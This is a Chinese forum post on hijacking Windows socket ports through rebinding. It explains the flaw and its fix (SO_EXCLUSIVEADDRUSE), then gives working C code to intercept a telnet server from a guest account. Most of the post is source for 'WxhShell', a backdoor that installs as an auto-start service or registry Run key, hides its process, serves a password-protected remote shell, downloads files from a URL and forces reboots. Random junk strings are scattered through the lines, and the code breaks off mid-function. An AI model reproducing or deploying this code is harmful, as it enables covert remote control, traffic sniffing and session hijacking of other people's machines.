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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EkJo.'0@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /Fk0j_b  
~>{<r{H"S  
  saddr.sin_family = AF_INET; qT}&XK`Q^  
8l?]UFM>C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XLM 9+L  
]bRu8kn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4}8Xoywi1  
-"(e*&TJ#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6.ap^9AD  
);=JoRQ{  
  这意味着什么?意味着可以进行如下的攻击: 71wyZJ  
Ef7 Kx49I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `UeF3~)>E  
m 81\cg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }De)_E\~  
/wIZ '  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B{zIW'Ld  
SqEO ] ~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Wlt shZo  
#Xsby  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rvOR[T>  
Q}I. UG_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wu s]  
!n !~Bw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J| 3CG;+  
4;%=ohD:!  
  #include heRQ|n.Dz)  
  #include aIkxN&  
  #include d'DS7F(c{  
  #include    $BNn1C8[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,/Xxj\i  
  int main() R|tjvp-[}  
  { F[ 9IHT6{  
  WORD wVersionRequested; r Cmqq/hZ  
  DWORD ret; mQ1QJ_;  
  WSADATA wsaData; <$ '#@jW  
  BOOL val; s;$ eq);  
  SOCKADDR_IN saddr; 3`-[95w  
  SOCKADDR_IN scaddr; $z` jR*  
  int err; GfVMj7{  
  SOCKET s; k \]@  
  SOCKET sc; x~KS;hA  
  int caddsize; {>5c,L$  
  HANDLE mt; GY0<\-  
  DWORD tid;   -7\RO%U  
  wVersionRequested = MAKEWORD( 2, 2 ); )v'3pTs2  
  err = WSAStartup( wVersionRequested, &wsaData ); SkN^ytKE  
  if ( err != 0 ) { VRMlr.T +  
  printf("error!WSAStartup failed!\n"); 'O2{0  
  return -1; qOkw6jfluh  
  } drF"kTD"7  
  saddr.sin_family = AF_INET; D|UDLaz~  
   s2&UeYbIs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Hs2L$TX  
o$2fML  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |RHX2sso  
  saddr.sin_port = htons(23); j^:\a\-1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >iaZGXje  
  { w[loV  
  printf("error!socket failed!\n"); jj.)$|&#`  
  return -1; I]TL#ywF   
  } x+%lNR  
  val = TRUE; bQ_i&t\yzB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5>$*#0%"}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :Im_=S[0  
  { R%SsHu">  
  printf("error!setsockopt failed!\n"); +U@P+;  
  return -1; KvC:(Vqj  
  } (9'MdH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #O=^%C 7p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (S1$g ~t;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 us$~6  
Hk$|.TjzI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0^tF_."Y  
  { kU4Zij-O  
  ret=GetLastError(); IRXpk 6|  
  printf("error!bind failed!\n"); 6lsU/`.  
  return -1; Y`\zLX"_m  
  } l&5| =  
  listen(s,2); >q4nQ/eP  
  while(1) 4Uz6*IQNl  
  { 'U5 E{  
  caddsize = sizeof(scaddr); EGU? 54  
  //接受连接请求 S\GG(#b!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TY~0UU$  
  if(sc!=INVALID_SOCKET) A#LK2II^  
  { 9JP{F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vs\ )w>JF  
  if(mt==NULL) R4p bi=  
  { EtN"K-X  
  printf("Thread Creat Failed!\n"); `Fu|50_@V  
  break; }evc]?1(  
  } Qa(u+  
  } F1gDeLmJ  
  CloseHandle(mt); w{#%&e(q"  
  } V|<qO-#.  
  closesocket(s); 2 R1S>X  
  WSACleanup(); /vSFQ}W  
  return 0; v#=WdaNz  
  }   `hI1  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^J\)cw  
  { )QFT$rmX  
  SOCKET ss = (SOCKET)lpParam; oa1&9  
  SOCKET sc; ) Q~Q .  
  unsigned char buf[4096]; [uZU p*.V  
  SOCKADDR_IN saddr; ?jz{fU  
  long num; st/Tb/  
  DWORD val; Ay"x<JB{U2  
  DWORD ret; \MK)dj5uUJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bbA+ZLZJn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #d(6q$IE  
  saddr.sin_family = AF_INET; LP#CA^*S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]wdudvS@6r  
  saddr.sin_port = htons(23); w.^k':,"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R*VZ=i  
  { >Py;6K  
  printf("error!socket failed!\n"); \ 1ys2BX  
  return -1; -D38>#Y  
  } rQN+x|dKMb  
  val = 100; E5-8tHV   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I{B8'n{cN  
  { ft:/-$&H  
  ret = GetLastError(); C Hyb{:<  
  return -1; hFylQfd  
  } YPGn8A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2*%0m^#^6  
  { P8z+ +h  
  ret = GetLastError(); /0Zwgxt4?7  
  return -1; ;( VJZ_  
  } *N< 22w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !i#;P9K  
  { [<8<+lH=P  
  printf("error!socket connect failed!\n"); }^)M)8zS  
  closesocket(sc); 4'G<qJoc  
  closesocket(ss); B6OggJ9Iq  
  return -1; "AUY+ LN  
  } [4PG_k[uTJ  
  while(1) cg$7`/U  
  { mbJ#-^}V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DV{Qbe#In  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9.SPxd~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J cvK]x  
  num = recv(ss,buf,4096,0); yd`.Rb&V  
  if(num>0) e?RHf_d3T-  
  send(sc,buf,num,0); @qg=lt|(F  
  else if(num==0) ]*I&104{  
  break; cnhYrX^  
  num = recv(sc,buf,4096,0); Jq/([  
  if(num>0) -L1{0{Z  
  send(ss,buf,num,0); ?}B_'NZ%  
  else if(num==0) rs 7R5 F  
  break; 'DRyOJnr  
  } rf^1%Zo:  
  closesocket(ss); ]>*Z 1g;  
  closesocket(sc); *gVRMSrx4  
  return 0 ; 4`!(M]u=  
  } <@@.~Qm'  
J&{E  
UO>p-M  
========================================================== L!-T`R8'c  
 mEhVc!  
下边附上一个代码,,WXhSHELL @Je{;1   
ML Id3#Q  
========================================================== OC"W=[Myl  
PlTY^N6Hn  
#include "stdafx.h" s.Yywy  
XZIj' a0d  
#include <stdio.h> ? 0nbvV5v7  
#include <string.h> =,,!a/U  
#include <windows.h> H.!M_aJH  
#include <winsock2.h> S%g` X   
#include <winsvc.h> 0u -'{6  
#include <urlmon.h> 5 E DGl  
@/B&R^aVZ  
#pragma comment (lib, "Ws2_32.lib") CbI[K|  
#pragma comment (lib, "urlmon.lib") mi<V(M~p  
g^4'42UX  
#define MAX_USER   100 // 最大客户端连接数 %'k^aq FL  
#define BUF_SOCK   200 // sock buffer QTtcGU  
#define KEY_BUFF   255 // 输入 buffer PL%_V ?z  
vSPkm)O0)  
#define REBOOT     0   // 重启 O6l j^  
#define SHUTDOWN   1   // 关机 krI<'m;a  
W[w8@OCNf  
#define DEF_PORT   5000 // 监听端口 8]'qJ;E2  
to]1QjW-  
#define REG_LEN     16   // 注册表键长度 Ba6''?;G  
#define SVC_LEN     80   // NT服务名长度 ZIkXy*<(  
| u7vY/  
// 从dll定义API ZU7,=B=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "P"~/<:)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >/ W:*^g)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qmv%N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {b= ]JPE  
}_:^&cT  
// wxhshell配置信息 ?psvhB{O  
struct WSCFG { ]rXRon='  
  int ws_port;         // 监听端口 I[@}+p0  
  char ws_passstr[REG_LEN]; // 口令 k0!b@ c  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5e6]v2 k  
  char ws_regname[REG_LEN]; // 注册表键名 )TBBYCL3  
  char ws_svcname[REG_LEN]; // 服务名 yzgDdAM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d%u|) =7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b P4R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oCXBek?\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bAGQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^e8~eL+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uiPfAPZ  
3?.3Z!H/  
}; nO,<`}pV  
Ca0~K42~  
// default Wxhshell configuration !#5RP5,,Y  
struct WSCFG wscfg={DEF_PORT, OB>Pk_eQK  
    "xuhuanlingzhe", :,]V 03  
    1, q1.w8$  
    "Wxhshell", TmvI+AY/  
    "Wxhshell", .FtW $Y~y  
            "WxhShell Service", B9&"/tT  
    "Wrsky Windows CmdShell Service", Z)~.OqRw]  
    "Please Input Your Password: ", wFnIM2a,  
  1, Z455g/=ye  
  "http://www.wrsky.com/wxhshell.exe", y.=ur,Nd  
  "Wxhshell.exe" &S>m +m'  
    }; :{E;*v_!v  
>MauuL,.j  
// 消息定义模块 2$V]XSe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T&H[JQ/h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "\Zsr6y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )}0(7z Yu  
char *msg_ws_ext="\n\rExit."; N2 wBH+3w  
char *msg_ws_end="\n\rQuit."; Mm;kB/ 1  
char *msg_ws_boot="\n\rReboot..."; \25Rq/&w  
char *msg_ws_poff="\n\rShutdown..."; se:]F/  
char *msg_ws_down="\n\rSave to "; @{ _[bKg  
=6y4*f  
char *msg_ws_err="\n\rErr!"; 7q&Ru|T33  
char *msg_ws_ok="\n\rOK!"; LBh|4S$K  
8$xd;+`y'  
char ExeFile[MAX_PATH]; SzR7:U  
int nUser = 0; N,0l5fD~T  
HANDLE handles[MAX_USER]; lfba   
int OsIsNt; 66NJ&ac  
fI9 TzpV  
SERVICE_STATUS       serviceStatus; 5(W`{{AW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V^Z"FwWk  
52 ? TLID  
// 函数声明 b_+dNoB  
int Install(void); Q x}\[  
int Uninstall(void); `md)|PSU  
int DownloadFile(char *sURL, SOCKET wsh); 2I(b ad  
int Boot(int flag); i0; p?4`m  
void HideProc(void); :Q@=;P2  
int GetOsVer(void); t}n:!v"|+O  
int Wxhshell(SOCKET wsl); a NhI<.v  
void TalkWithClient(void *cs); *8{PoD   
int CmdShell(SOCKET sock); 6c>cq\~E  
int StartFromService(void); 1Tz5tU9kR  
int StartWxhshell(LPSTR lpCmdLine); sOQF_X(.x  
s ~c_9,JK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v[~e=^IIsl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jn!-Wa,  
p B*8D  
// 数据结构和表定义 ~5g2~.&*  
SERVICE_TABLE_ENTRY DispatchTable[] = VSns_>o  
{ |+K3\b  
{wscfg.ws_svcname, NTServiceMain}, @Cg%7AF  
{NULL, NULL} @AET.qGC  
}; {/d<Jm:  
#D4gNQg@R  
// 自我安装 !ZlBM{C  
int Install(void) ,rkY1w-  
{ pD;'uEFBQ  
  char svExeFile[MAX_PATH]; X <QSi   
  HKEY key; ?XOl>IO  
  strcpy(svExeFile,ExeFile); ]'+PJdA  
r:.3P  
// 如果是win9x系统,修改注册表设为自启动 a k&G=a6^  
if(!OsIsNt) { 8NU<lV`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ixc~DV+@[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )\oLUuL`;  
  RegCloseKey(key); )lB 3U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ zM/>Qa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CRXIVver  
  RegCloseKey(key); qI (<5Wxl  
  return 0; "%^T~Z(_j  
    } phkfPvL{  
  } "`WcE/(  
} zX=K2tH  
else { L>:YGM"sL  
dZ]['y%  
// 如果是NT以上系统,安装为系统服务 5ZpU><y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ICq  
if (schSCManager!=0) N`o[iHUj \  
{  %<[?;  
  SC_HANDLE schService = CreateService YS$42J_T  
  ( D=ZH? d  
  schSCManager, $"#2hVO  
  wscfg.ws_svcname, {|:ro!&  
  wscfg.ws_svcdisp, j_w"HiNBA  
  SERVICE_ALL_ACCESS, `Ckx~'1M:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1^R[kaY  
  SERVICE_AUTO_START, i"4&UJu1;  
  SERVICE_ERROR_NORMAL, R#8.]  
  svExeFile, e#{,M8  
  NULL, qukym3F  
  NULL, I;u1mywd  
  NULL, :9c[J$R4  
  NULL, VDnN2)Km*  
  NULL w^/jlddF  
  ); E![Ye@w  
  if (schService!=0) aFfd!a" n  
  { ]x12_+  
  CloseServiceHandle(schService); ^*-6PV#Z  
  CloseServiceHandle(schSCManager); |:[ [w&R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o$4xinK  
  strcat(svExeFile,wscfg.ws_svcname); * |dz.Tr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  MjjN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lPBWpHX  
  RegCloseKey(key); "bhF`,V  
  return 0; $27QY  
    } Gt|m;o  
  } |O!G[|/3  
  CloseServiceHandle(schSCManager); I=;.o>  
} bxXNv^  
} JA <Hm.V#  
+xL*`fn  
return 1; v-utDQT3  
} V]{^}AKc  
PKxI09B  
// 自我卸载 <meQ  
int Uninstall(void) 26K sP .-  
{ 7]J7'!Iz  
  HKEY key; AJJa<c+j  
$eSSW+8q"  
if(!OsIsNt) { (gQr?K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lL<LJ :L  
  RegDeleteValue(key,wscfg.ws_regname); hKjG/g:#G  
  RegCloseKey(key); V1]QuQ{&s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Md5|j0#p  
  RegDeleteValue(key,wscfg.ws_regname); ]iq2_{q  
  RegCloseKey(key); .@`5>_  
  return 0; >;NiG)Z  
  } y$Rh$e K  
} ?cvV~&$gc  
} 0e,U&B<W  
else { 3!*qB-d  
j7>a ^W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nQm (UN  
if (schSCManager!=0) UzKB"Q  
{ ;i>(r;ZM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {k15!(:i~a  
  if (schService!=0) ~:xR0dqx  
  { \b6vu^;p  
  if(DeleteService(schService)!=0) { 86f8b{_e"  
  CloseServiceHandle(schService); hf1h*x^J  
  CloseServiceHandle(schSCManager); 2E$K='H:,  
  return 0; pl.x_E,HP  
  } jiGXFM2  
  CloseServiceHandle(schService); )/FEjo  
  } i[O{ M`Z%  
  CloseServiceHandle(schSCManager); =#.qe=  
} m2j]wUh"  
} 1Pp2wpD4iC  
`#c36  
return 1; Bgf'Hm% r  
} ]q":ta!f  
3cSP1=$*  
// 从指定url下载文件 6Q~(ibKx  
int DownloadFile(char *sURL, SOCKET wsh) k8S`44vj  
{ DWXHx  
  HRESULT hr; "*HVL  
char seps[]= "/"; "wj~KbT}&  
char *token; pkEx.R)  
char *file; Lz:Q6  
char myURL[MAX_PATH]; r=cm(AHF  
char myFILE[MAX_PATH]; 557%^)v  
Rz:1(^oA  
strcpy(myURL,sURL); z>A;|iL  
  token=strtok(myURL,seps); =EQaZ8k  
  while(token!=NULL) K]H [A,  
  { r3mmi5   
    file=token; O3En+m~3n)  
  token=strtok(NULL,seps); F [S'l  
  } yP*oRV%uX  
YGsg0I't  
GetCurrentDirectory(MAX_PATH,myFILE); eEZZ0NNe;  
strcat(myFILE, "\\"); #VU>Z|$@N  
strcat(myFILE, file); %j. *YvveW  
  send(wsh,myFILE,strlen(myFILE),0); d8N4@3CkL  
send(wsh,"...",3,0); rL23^}+^`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ()ZP =\L  
  if(hr==S_OK) ewOe A|  
return 0; {Z_?7J&z  
else 0fAo&B  
return 1; ;9)A+bD]  
^<`uyY))Q  
} HbMD5(  
x#jJ 0T  
// 系统电源模块 -/LB-t  
int Boot(int flag) %~EOq\&  
{ dz,4);Mg  
  HANDLE hToken; 5.U4P<qS  
  TOKEN_PRIVILEGES tkp; VX,@Gp_'m  
Ox^VU2K;&.  
  if(OsIsNt) { p.RSH$]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oA`G\Xh_E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }c ,:uN  
    tkp.PrivilegeCount = 1; Hq0O!Zv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; is6d:p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iL;{]A'0  
if(flag==REBOOT) { 9RmdQ]1n4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PmlQW!gfBi  
  return 0; tvR|!N }  
} a8cX {6  
else { Z/+H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C3-I5q(V]  
  return 0; I!Uj~jV  
} M6:$ 0(r  
  } ku^0bq}BrH  
  else { o>MB8[r  
if(flag==REBOOT) { ^y2}C$1V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) szas(7kDS  
  return 0; 8c'5P  
} R~N'5#.*M  
else { #bCzWg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^9`~-w  
  return 0; )g[7XB/w  
} eJ_$Etc  
} L]3gHq  
UjcKvF  
return 1; (&xIB F_6  
} 4]m?8j) 6b  
C)|#z/"  
// win9x进程隐藏模块 XE?,)8  
void HideProc(void) 4S*7*ak{  
{  "xp>Vj  
!y7w~UVs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EQ2HQz ]  
  if ( hKernel != NULL ) 3TF'[(K=  
  { $X]Z-RCK3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -14~f)%NQ*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q)ZbnR2Z8  
    FreeLibrary(hKernel); u!9bhL`  
  } U'Fc\M5l/l  
*>J45U(6:  
return; dY'>'1>P 9  
} oPC qv  
W24n%Ps  
// 获取操作系统版本 02mu%|"  
int GetOsVer(void) * Fz#x{zt  
{ N3o kN8d  
  OSVERSIONINFO winfo; :B1a2Y^"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /*hS0xN*  
  GetVersionEx(&winfo); -r@/8"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _T(MMc  
  return 1; .R{+Pz D  
  else THHA~;00YN  
  return 0; TTm  
} K])| V  
m_,j)A%  
// 客户端句柄模块 zR_yxs'  
int Wxhshell(SOCKET wsl)  :IX_}|  
{ Y"'k $jS-  
  SOCKET wsh; nQM7@"R  
  struct sockaddr_in client; =*Y=u6?  
  DWORD myID; o!}/& '(  
 Wkc^?0p  
  while(nUser<MAX_USER) V SUz+W  
{ 8,YxCm ie  
  int nSize=sizeof(client); GN ?1dwI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $-;x8O]u  
  if(wsh==INVALID_SOCKET) return 1; ?%RR+(2m  
31n|ScXv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jG~UyzWH;  
if(handles[nUser]==0) ?*A"#0  
  closesocket(wsh); Q5pm^X._j  
else Oky9G C.a  
  nUser++; 70{fl 4J5  
  } } P/ x@N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |4u?Q+k%%  
"f3KE=cUm  
  return 0; f+D a W  
} Mv^G%zg2  
9G=ZB^  
// 关闭 socket &yQM 8J~  
void CloseIt(SOCKET wsh) >"z&KZKI  
{ ]6 vqgu  
closesocket(wsh); HRZ3}8Qj  
nUser--;  gC}D0l[  
ExitThread(0); ?5#=Mh#  
} BdZO$ALXL  
4<QS ot  
// 客户端请求句柄 =D6H?K-k!  
void TalkWithClient(void *cs) #3o]Qo[Sc  
{ 8ncgTCH:  
i&dMX:fRd  
  SOCKET wsh=(SOCKET)cs; hSyA;*)U  
  char pwd[SVC_LEN]; + s snCr  
  char cmd[KEY_BUFF]; jboQ)NxT!,  
char chr[1]; 2eh j2T  
int i,j; B[rxV  
Cq,hzi-  
  while (nUser < MAX_USER) { ]kd )j  
>f*[U/{ K  
if(wscfg.ws_passstr) { MJ:>ZRXC E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h7H#sL[^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] x_WO_  
  //ZeroMemory(pwd,KEY_BUFF); Ghgo"-,#  
      i=0; (~>L \]!  
  while(i<SVC_LEN) { &JpFt^IHi  
$&|*v1rH  
  // 设置超时 \4.U.pKY  
  fd_set FdRead; >r"~t70C~]  
  struct timeval TimeOut; OgTE^W@  
  FD_ZERO(&FdRead); )2 P4EEs[  
  FD_SET(wsh,&FdRead); Sr`gQ#b@r}  
  TimeOut.tv_sec=8; 6*,8 H&  
  TimeOut.tv_usec=0; * QF3l0&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wZECG-jr/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [[PUK{P0  
G'<J8;B* t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <4W"ne28  
  pwd=chr[0]; $z+iB;x  
  if(chr[0]==0xd || chr[0]==0xa) { X]Emz"   
  pwd=0; 2b]'KiX  
  break; w\'Zcw,d  
  } }Vpr7_  
  i++; ogX'3L  
    } b-{\manH  
{37DrSOa  
  // 如果是非法用户,关闭 socket nzTzc5 w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PZF>ia}  
} =De%]]>   
D4m2*%M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W&]grG2/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N1KYV&'o  
ZbYwuyHk(3  
while(1) { KLXv?4!  
<,l&),  
  ZeroMemory(cmd,KEY_BUFF); EvMhNq~y5  
3R?7&oXvH  
      // 自动支持客户端 telnet标准   zVs_|x="  
  j=0; AjaG .fa]k  
  while(j<KEY_BUFF) { XQ<2(}]4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A^JeB<, 5a  
  cmd[j]=chr[0]; 56*}}B$?  
  if(chr[0]==0xa || chr[0]==0xd) { \qAMs^1-  
  cmd[j]=0; QzIK580%t  
  break; w?.0r6j  
  } g?M\Z";  
  j++; /40Z-'Bl=(  
    } nD.4c-hd$q  
H!&]Di1Eh  
  // 下载文件 KMznl=LF  
  if(strstr(cmd,"http://")) { A5Yfm.Jy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !a3cEzs3  
  if(DownloadFile(cmd,wsh)) N40.GL0s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K 3?7Hndf2  
  else +J$[RxQ#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _U$d.B'*)z  
  } pr/yDG ia  
  else { gyieSXz[  
4NwGP^ n  
    switch(cmd[0]) { L1.<LB^4'  
  ~LHG  
  // 帮助 V_!hrKkL  
  case '?': { D(}v`q{Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,g{`M]Ov  
    break; PR~ho&!  
  } mN_RB{g{  
  // 安装 %|o4 U0c  
  case 'i': { Z KnEg2a  
    if(Install()) i+jSXn"_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rjQV;kX>  
    else O} QTg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Zdkf]Gh  
    break; r_ I7Gd  
    } &iL"=\#  
  // 卸载 $PstThM  
  case 'r': { 6I72;e ^!  
    if(Uninstall()) d~O\zLQ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @xB"9s  
    else r.[!n)*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jp xJZJ  
    break; *xM4nUu<~  
    } yFshV\   
  // 显示 wxhshell 所在路径 E*.D_F  
  case 'p': { XJC|6"n  
    char svExeFile[MAX_PATH]; 3F[z]B  
    strcpy(svExeFile,"\n\r"); 5sEq`P}5  
      strcat(svExeFile,ExeFile); W<xu*U(A  
        send(wsh,svExeFile,strlen(svExeFile),0); :u`  
    break; 4At%{E  
    } y0M^oLx  
  // 重启 @ bPQhn#(g  
  case 'b': { HzF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gE0k|Z(RF  
    if(Boot(REBOOT)) 7<mY{!2iF?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C\j|+s  
    else { :7<spd(%"  
    closesocket(wsh); votv rZ=  
    ExitThread(0); +S5"4<  
    } u8v;O}#  
    break; VjBV2x  
    } ,mhO\P96ik  
  // 关机 H@qA X  
  case 'd': { `!kOyh:X  
